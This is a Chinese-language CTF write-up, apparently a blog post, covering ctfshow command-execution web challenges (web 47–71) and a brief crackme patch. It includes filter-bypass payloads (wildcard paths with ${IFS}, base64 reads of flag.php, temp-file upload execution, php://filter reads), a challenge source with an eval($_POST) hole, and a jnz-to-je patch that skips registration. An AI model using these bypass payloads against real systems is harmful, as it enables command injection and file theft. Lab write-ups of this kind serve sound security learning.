buuctf web入门 命令执行 逆向

目录

web 47

web 48~49

​编辑

 web 50

 web 51

web 52

web 53

web 54

web 55

 web 56

web 57

web 58~65

web 66

web67~68

 web69

web 70

​编辑 web 71

逆向 crack me


web 47

web 48~49

 web 50

 web 51

查看页面源代码可得

web 52

web 53

web 54

完全意义禁用了这些命令(中间加上了通配符)

/bin/?at${IFS}f???????%0a

bin表示在bin目录下检索?at命令

bin主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

web 55

linux系统base64加密算法

?c=/bin/base64 flag.php;

也可以通过构造一个文件上传的数据包

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://cf2001b5-bd9e-45b1-b731-e1098870d18f.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传一个php文件,

通过post传参,传入cat flag.php,因为传入的文件一般都存放在tmp文件下,默认文件名为phpXXXXXX(后6个为随机的大小写字母)

然后通过get传参,访问这个文件,+在这里是一个空格的作用,?是要进行匹配的字符,[@-[]表示@到[之间的字符,这里是包括有所有大写字母。

 web 56

与web55相同,多过滤了数字

web 57

 根据题意,需要构造出36,$(())值为0,因为~a+a=-1

$((~$({_})))为-1,$((~$(())))$((~$(())))为-2,故可以通过这个构造出36

 

 或者

web 58~65

一些函数被禁用

或者是c=include "php://filter/read=convert.base64-encode/resource=flag.php";

c=highlight_file("flag.php");

c=file("flag.php");

c=file_get_contents("flag.php");

c=fgets("flag.php");

c=readfile("flag.php");(选择其中使用)

web 66

 好像找不到

列出根目录下的文件。

include包含文件,将文件内容解析成php代码执行

web67~68

print_r()被禁用了,用var_dump代替

 web69

var_dump被禁用了,可用var_export()代替

web 70

web 71

<?php

/*

# -*- coding: utf-8 -*-

# @Author: Lazzaro

# @Date:   2020-09-05 20:49:30

# @Last Modified by:   h1xa

# @Last Modified time: 2020-09-07 22:02:47

# @email: h1xa@ctfer.com

# @link: https://ctfer.com

*/

error_reporting(0);

ini_set('display_errors', 0);

// 你们在炫技吗?

if(isset($_POST['c'])){

        $c= $_POST['c'];

        eval($c);

        $s = ob_get_contents();   //读取的文件内容通过缓存区送入s中

        ob_end_clean();        //关闭并清空缓存区

        echo preg_replace("/[0-9]|[a-z]/i","?",$s);  //将s中数字字母全部换成?

}else{

    highlight_file(__FILE__);

}

可以直接让程序在eval处停止。

 

 

逆向 crack me

先运行一下,提示输入用户名和注册码,输入后,退出了

拖进onlydbg

将jnz改为je,在运行,显示 登录成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值